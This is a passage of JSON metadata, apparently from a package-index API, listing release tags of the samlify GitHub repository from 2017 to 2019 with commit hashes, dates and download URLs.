samlify@v2.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.6.0/manifests"},{"name":"v2.6.0-rc2","sha":"23ad029097fcd2900feaa3598608d491520a7854","kind":"commit","published_at":"2019-06-25T18:50:22.000Z","download_url":"https://codeload.github.com/tngan/samlify/tar.gz/v2.6.0-rc2","html_url":"https://github.com/tngan/samlify/releases/tag/v2.6.0-rc2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tngan/samlify@v2.6.0-rc2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.6.0-rc2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.6.0-rc2/manifests"},{"name":"v2.5.1","sha":"846ab75ab176b2443abb4b7edf85abdcf1f8e4cd","kind":"commit","published_at":"2019-06-25T17:51:00.000Z","download_url":"https://codeload.github.com/tngan/samlify/tar.gz/v2.5.1","html_url":"https://github.com/tngan/samlify/releases/tag/v2.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tngan/samlify@v2.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.5.1/manifests"},{"name":"2.6.0-rc1","sha":"9ec3c16f6e8082f795ce51d047e65a391261a966","kind":"commit","published_at":"2019-06-23T05:08:59.000Z","download_url":"https://codeload.github.com/tngan/samlify/tar.gz/2.6.0-rc1","html_url":"https://github.com/tngan/samlify/releases/tag/2.6.0-rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tngan/samlify@2.6.0-rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/2.6.0-rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/2.6.0-rc1/manifests"},{"name":"v2.5.0","sha":"7bdfa423dc76a922d7a27df3ba0cdc67ddd70f91","kind":"commit","published_at":"2019-04-08T04:06:25.000Z","download_url":"https://codeload.github.com/tngan/samlify/tar.gz/v2.5.0","html_url":"https://github.com/tngan/samlify/releases/tag/v2.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tngan/samlify@v2.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.5.0/manifests"},{"name":"v2.5.0-rc4","sha":"4563872932eaac83735dba1bb169b05413fbf4a6","kind":"commit","published_at":"2019-03-26T16:37:54.000Z","download_url":"https://codeload.github.com/tngan/samlify/tar.gz/v2.5.0-rc4","html_url":"https://github.com/tngan/samlify/releases/tag/v2.5.0-rc4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tngan/samlify@v2.5.0-rc4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.5.0-rc4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.5.0-rc4/manifests"},{"name":"v2.5.0-rc3","sha":"7825a407717f049c9200979801029dd3175213ea","kind":"commit","published_at":"2019-03-13T04:46:31.000Z","download_url":"https://codeload.github.com/tngan/samlify/tar.gz/v2.5.0-rc3","html_url":"https://github.com/tngan/samlify/releases/tag/v2.5.0-rc3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tngan/samlify@v2.5.0-rc3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.5.0-rc3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.5.0-rc3/manifests"},{"name":"v2.5.0-rc2","sha":"d7e47c6712467c238dcd85e8b9aba02b6ce9ffd2","kind":"commit","published_at":"2019-02-22T16:51:28.000Z","download_url":"https://codeload.github.com/tngan/samlify/tar.gz/v2.5.0-rc2","html_url":"https://github.com/tngan/samlify/releases/tag/v2.5.0-rc2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tngan/samlify@v2.5.0-rc2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.5.0-rc2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.5.0-rc2/manifests"},{"name":"v2.5.0-rc1","sha":"70d1f529858d665f30dd9fc3ea0b84c82e23c59e","kind":"commit","published_at":"2019-01-12T18:16:28.000Z","download_url":"https://codeload.github.com/tngan/samlify/tar.gz/v2.5.0-rc1","html_url":"https://github.com/tngan/samlify/releases/tag/v2.5.0-rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tngan/samlify@v2.5.0-rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.5.0-rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.5.0-rc1/manifests"},{"name":"v2.4.2","sha":"4635ce0ce9783a1137567a7bd119a2a03e79e3a5","kind":"commit","published_at":"2018-12-29T02:39:00.000Z","download_url":"https://codeload.github.com/tngan/samlify/tar.gz/v2.4.2","html_url":"https://github.com/tngan/samlify/releases/tag/v2.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tngan/samlify@v2.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.4.2/manifests"},{"name":"v2.4.1","sha":"d81b588e320a6aff2de259e6e3de135339c3eb7b","kind":"commit","published_at":"2018-11-13T14:04:29.000Z","download_url":"https://codeload.github.com/tngan/samlify/tar.gz/v2.4.1","html_url":"https://github.com/tngan/samlify/releases/tag/v2.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tngan/samlify@v2.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.4.1/manifests"},{"name":"v.2.4.0","sha":"a70665489617acecd1f7f70ea61a791e6ecb2a6c","kind":"commit","published_at":"2018-10-20T11:35:58.000Z","download_url":"https://codeload.github.com/tngan/samlify/tar.gz/v.2.4.0","html_url":"https://github.com/tngan/samlify/releases/tag/v.2.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tngan/samlify@v.2.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v.2.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v.2.4.0/manifests"},{"name":"v2.4.0-rc6","sha":"ff2abd66f7aaa6f41f4c8184ba5c4f3a39069192","kind":"commit","published_at":"2018-10-17T06:36:19.000Z","download_url":"https://codeload.github.com/tngan/samlify/tar.gz/v2.4.0-rc6","html_url":"https://github.com/tngan/samlify/releases/tag/v2.4.0-rc6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tngan/samlify@v2.4.0-rc6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.4.0-rc6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.4.0-rc6/manifests"},{"name":"v2.4.0-rc5","sha":"b751ddc10cdc500d8102ba148975c7f65464ca28","kind":"commit","published_at":"2018-10-06T06:20:39.000Z","download_url":"https://codeload.github.com/tngan/samlify/tar.gz/v2.4.0-rc5","html_url":"https://github.com/tngan/samlify/releases/tag/v2.4.0-rc5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tngan/samlify@v2.4.0-rc5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.4.0-rc5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.4.0-rc5/manifests"},{"name":"v2.4.0-rc4","sha":"9f1bd9b2aa662b21437be1fa5cea5512efcc2d0a","kind":"commit","published_at":"2018-09-26T22:58:28.000Z","download_url":"https://codeload.github.com/tngan/samlify/tar.gz/v2.4.0-rc4","html_url":"https://github.com/tngan/samlify/releases/tag/v2.4.0-rc4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tngan/samlify@v2.4.0-rc4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.4.0-rc4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.4.0-rc4/manifests"},{"name":"v2.4.0-rc2","sha":"56641308acbc6b9ce094e774e123c128ce19db2a","kind":"commit","published_at":"2018-08-22T16:20:19.000Z","download_url":"https://codeload.github.com/tngan/samlify/tar.gz/v2.4.0-rc2","html_url":"https://github.com/tngan/samlify/releases/tag/v2.4.0-rc2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tngan/samlify@v2.4.0-rc2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.4.0-rc2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.4.0-rc2/manifests"},{"name":"v2.4.0-rc1","sha":"81036954488c7240826a312f036aae50a432cf7e","kind":"commit","published_at":"2018-07-25T17:32:28.000Z","download_url":"https://codeload.github.com/tngan/samlify/tar.gz/v2.4.0-rc1","html_url":"https://github.com/tngan/samlify/releases/tag/v2.4.0-rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tngan/samlify@v2.4.0-rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.4.0-rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.4.0-rc1/manifests"},{"name":"v2.3.8","sha":"74c6267e910db8b59c39c47e7af4eb1be01d1e4e","kind":"commit","published_at":"2018-07-10T18:50:44.000Z","download_url":"https://codeload.github.com/tngan/samlify/tar.gz/v2.3.8","html_url":"https://github.com/tngan/samlify/releases/tag/v2.3.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tngan/samlify@v2.3.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.3.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.3.8/manifests"},{"name":"v2.3.7","sha":"60349ec0f991b1c54560813e0d5e251b75a0148e","kind":"commit","published_at":"2018-03-21T16:19:07.000Z","download_url":"https://codeload.github.com/tngan/samlify/tar.gz/v2.3.7","html_url":"https://github.com/tngan/samlify/releases/tag/v2.3.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tngan/samlify@v2.3.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.3.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.3.7/manifests"},{"name":"v2.3.6","sha":"e6b48a205b2071d35bfcdb8a2742ffee0408d113","kind":"commit","published_at":"2017-11-10T14:04:46.000Z","download_url":"https://codeload.github.com/tngan/samlify/tar.gz/v2.3.6","html_url":"https://github.com/tngan/samlify/releases/tag/v2.3.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tngan/samlify@v2.3.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.3.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.3.6/manifests"},{"name":"v2.3.5","sha":"26d2a4f053fcf0a4a42a20f87ecc6da5111e3bad","kind":"commit","published_at":"2017-11-04T02:41:45.000Z","download_url":"https://codeload.github.com/tngan/samlify/tar.gz/v2.3.5","html_url":"https://github.com/tngan/samlify/releases/tag/v2.3.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tngan/samlify@v2.3.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.3.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.3.5/manifests"},{"name":"v2.3.4","sha":"f778f1c122424509ce1baa782ba579b640d36d2b","kind":"commit","published_at":"2017-10-20T16:04:49.000Z","download_url":"https://codeload.github.com/tngan/samlify/tar.gz/v2.3.4","html_url":"https://github.com/tngan/samlify/releases/tag/v2.3.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tngan/samlify@v2.3.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.3.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.3.4/manifests"},{"name":"v2.3.3","sha":"10dc929135329ca903672f6fbc5dc70b15b40595","kind":"commit","published_at":"2017-10-13T16:12:36.000Z","download_url":"https://codeload.github.com/tngan/samlify/tar.gz/v2.3.3","html_url":"https://github.com/tngan/samlify/releases/tag/v2.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tngan/samlify@v2.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.3.3/manifests"},{"name":"v2.3.0","sha":"1371ff7e1b82e59fb3d5786fd0f76880ef356786","kind":"commit","published_at":"2017-09-22T16:15:20.000Z","download_url":"https://codeload.github.com/tngan/samlify/tar.gz/v2.3.0","html_url":"https://github.com/tngan/samlify/releases/tag/v2.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tngan/samlify@v2.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.3.0/manifests"},{"name":"v2.2.0","sha":"eae5b0b44ab57af9f61c44cafaea95f6a3a8d50c","kind":"commit","published_at":"2017-08-11T14:48:53.000Z","download_url":"https://codeload.github.com/tngan/samlify/tar.gz/v2.2.0","html_url":"https://github.com/tngan/samlify/releases/tag/v2.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tngan/samlify@v2.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.2.0/manifests"},{"name":"v2.1.1","sha":"72bf29b718a7a07a70bf91e7dbab77578b5b297f","kind":"commit","published_at":"2017-07-25T16:53:40.000Z","download_url":"https://codeload.github.com/tngan/samlify/tar.gz/v2.1.1","html_url":"https://github.com/tngan/samlify/releases/tag/v2.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tngan/samlify@v2.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.1.1/manifests"},{"name":"v2.1.0","sha":"286dd737ae7138a15320fbea02cb7465a8c87f52","kind":"commit","published_at":"2017-07-19T15:26:45.000Z","download_url":"https://codeload.github.com/tngan/samlify/tar.gz/v2.1.0","html_url":"https://github.com/tngan/samlify/releases/tag/v2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tngan/samlify@v2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.1.0/manifests"},{"name":"v2.0.4","sha":"32efad19dbc8f6bc1e03edba9ec02bd23be34dff","kind":"commit","published_at":"2017-07-07T15:37:00.000Z","download_url":"https://codeload.github.com/tngan/samlify/tar.gz/v2.0.4","html_url":"https://github.com/tngan/samlify/releases/tag/v2.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tngan/samlify@v2.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.0.4/manifests"},{"name":"v2.0.3","sha":"0bcb0403a633405612d3c971c42454c791fa5d9f","kind":"commit","published_at":"2017-07-04T15:15:23.000Z","download_url":"https://codeload.github.com/tngan/samlify/tar.gz/v2.0.3","html_url":"https://github.com/tngan/samlify/releases/tag/v2.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tngan/samlify@v2.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.0.3/manifests"},{"name":"v2.0.2","sha":"377bad889214a514c0eae2e348eb606c96941a43","kind":"commit","published_at":"2017-06-30T17:17:35.000Z","download_url":"https://codeload.github.com/tngan/samlify/tar.gz/v2.0.2","html_url":"https://github.com/tngan/samlify/releases/tag/v2.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tngan/samlify@v2.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.0.2/manifests"},{"name":"v2.0.1","sha":"cab6a9a2817833547adee27409203882c545c099","kind":"commit","published_at":"2017-06-29T15:52:40.000Z","download_url":"https://codeload.github.com/tngan/samlify/tar.gz/v2.0.1","html_url":"https://github.com/tngan/samlify/releases/tag/v2.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tngan/samlify@v2.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.0.1/manifests"},{"name":"v2.0.0","sha":"19d4eb0a400e2e161bc909cd8e637ce12ce561b7","kind":"commit","published_at":"2017-06-25T08:33:17.000Z","download_url":"https://codeload.github.com/tngan/samlify/tar.gz/v2.0.0","html_url":"https://github.com/tngan/samlify/releases/tag/v2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tngan/samlify@v2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.0.0/manifests"},{"name":"v2.0.1-rc.3","sha":"104a78dcab23fe776a76113487a7765e536e0f22","kind":"commit","published_at":"2017-06-20T16:34:42.000Z","download_url":"https://codeload.github.com/tngan/samlify/tar.gz/v2.0.1-rc.3","html_url":"https://github.com/tngan/samlify/releases/tag/v2.0.1-rc.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tngan/samlify@v2.0.1-rc.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.0.1-rc.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.0.1-rc.3/manifests"},{"name":"v2.0.0-rc.3","sha":"32e5a29a35ed77170e6dca44a99ffe2460050a3e","kind":"commit","published_at":"2017-06-20T16:09:14.000Z","download_url":"https://codeload.github.com/tngan/samlify/tar.gz/v2.0.0-rc.3","html_url":"https://github.com/tngan/samlify/releases/tag/v2.0.0-rc.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tngan/samlify@v2.0.0-rc.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.0.0-rc.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.0.0-rc.3/manifests"},{"name":"v2.0.0-rc.2","sha":"82ccb9fe95d1b2e9b639dd5c324c632a9804527b","kind":"commit","published_at":"2017-06-16T18:40:10.000Z","download_url":"https://codeload.github.com/tngan/samlify/tar.gz/v2.0.0-rc.2","html_url":"https://github.com/tngan/samlify/releases/tag/v2.0.0-rc.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tngan/samlify@v2.0.0-rc.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.0.0-rc.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.0.0-rc.2/manifests"},{"name":"v2.0.0-rc.1","sha":"981f88da267f24e8e8b5dd0b58fb0c737d300105","kind":"commit","published_at":"2017-06-06T17:30:29.000Z","download_url":"https://codeload.github.com/tngan/samlify/tar.gz/v2.0.0-rc.1","html_url":"https://github.com/tngan/samlify/releases/tag/v2.0.0-rc.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tngan/samlify@v2.0.0-rc.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.0.0-rc.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.0.0-rc.1/manifests"},{"name":"v2.0.0-beta","sha":"c3f052b086017daf7e92e01542480d7153c77f85","kind":"commit","published_at":"2017-05-15T18:22:56.000Z","download_url":"https://codeload.github.com/tngan/samlify/tar.gz/v2.0.0-beta","html_url":"https://github.com/tngan/samlify/releases/tag/v2.0.0-beta","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tngan/samlify@v2.0.0-beta","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.0.0-beta","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.0.0-beta/manifests"},{"name":"v1.4.1","sha":"160583b07a2610a341f22d6ffbc3dbce6ffb7de1","kind":"commit","published_at":"2017-05-02T02:20:06.000Z","download_url":"https://codeload.github.com/tngan/samlify/tar.gz/v1.4.1","html_url":"https://github.com/tngan/samlify/releases/tag/v1.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tngan/samlify@v1.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v1.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v1.4.1/manifests"},{"name":"v1.4.0","sha":"317bec66bf19e2890e380b1be7ac8f150e09a83d","kind":"commit","published_at":"2017-05-01T03:46:53.000Z","download_url":"https://codeload.github.com/tngan/samlify/tar.gz/v1.4.0","html_url":"https://github.com/tngan/samlify/releases/tag/v1.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tngan/samlify@v1.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v1.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v1.4.0/manifests"},{"name":"v1.3.6","sha":"4c490931057006cb2f3ea73caa817d543cefd026","kind":"commit","published_at":"2017-04-29T17:34:55.000Z","download_url":"https://codeload.github.com/tngan/samlify/tar.gz/v1.3.6","html_url":"https://github.com/tngan/samlify/releases/tag/v1.3.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tngan/samlify@v1.3.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v1.3.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v1.3.6/manifests"},{"name":"v1.3.5","sha":"0dd2dff2a29e8ee0348c566a84ca4e5bbb987c11","kind":"commit","published_at":"2017-04-29T15:00:59.000Z","download_url":"https://codeload.github.com/tngan/samlify/tar.gz/v1.3.5","html_url":"https://github.com/tngan/samlify/releases/tag/v1.3.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tngan/samlify@v1.3.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v1.3.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v1.3.5/manifests"},{"name":"v1.3.4","sha":"c92f52e19aff30638486841c3ad3325402119aca","kind":"commit","published_at":"2017-02-20T02:28:03.000Z","download_url":"https://codeload.github.com/tngan/samlify/tar.gz/v1.3.4","html_url":"https://github.com/tngan/samlify/releases/tag/v1.3.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tngan/samlify@v1.3.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v1.3.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v1.3.4/manifests"},{"name":"v2.0.0-alpha","sha":"e549f782e97d4252329a52bca411c83c5adafcd6","kind":"commit","published_at":"2017-02-03T17:43:23.000Z","download_url":"https://codeload.github.com/tngan/samlify/tar.gz/v2.0.0-alpha","html_url":"https://github.com/tngan/samlify/releases/tag/v2.0.0-alpha","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tngan/samlify@v2.0.0-alpha","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.0.0-alpha","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v2.0.0-alpha/manifests"},{"name":"v1.3.2","sha":"453bfe4b371fc2cef9d61312a27aa79e8a526463","kind":"commit","published_at":"2017-02-03T06:14:43.000Z","download_url":"https://codeload.github.com/tngan/samlify/tar.gz/v1.3.2","html_url":"https://github.com/tngan/samlify/releases/tag/v1.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tngan/samlify@v1.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v1.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v1.3.2/manifests"},{"name":"v1.3.1","sha":"adde7344db54871039fbbd8959ac066e6432896a","kind":"commit","published_at":"2017-02-02T08:40:20.000Z","download_url":"https://codeload.github.com/tngan/samlify/tar.gz/v1.3.1","html_url":"https://github.com/tngan/samlify/releases/tag/v1.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tngan/samlify@v1.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v1.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v1.3.1/manifests"},{"name":"v1.3.0","sha":"f5c19bdd3d12d4a6c818dc87eef4e3b48c155897","kind":"commit","published_at":"2017-01-26T16:48:09.000Z","download_url":"https://codeload.github.com/tngan/samlify/tar.gz/v1.3.0","html_url":"https://github.com/tngan/samlify/releases/tag/v1.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tngan/samlify@v1.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v1.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tngan%2Fsamlify/tags/v1.3.0/manifests"},{"name":"v1.2.9","sha":"769a501f5e948f15026aa4d6f0fe0fc326d44f09","kind":"commit","published_at":"2017-01-20T14:52:34.000Z","download_url":"https://codeload.github.com/tngan/samlify/tar.gz/v1.2.9","html_url":"https://github.com/tngan/samlify/releases/tag/v1.2.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tngan/samlify@v1.2.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/G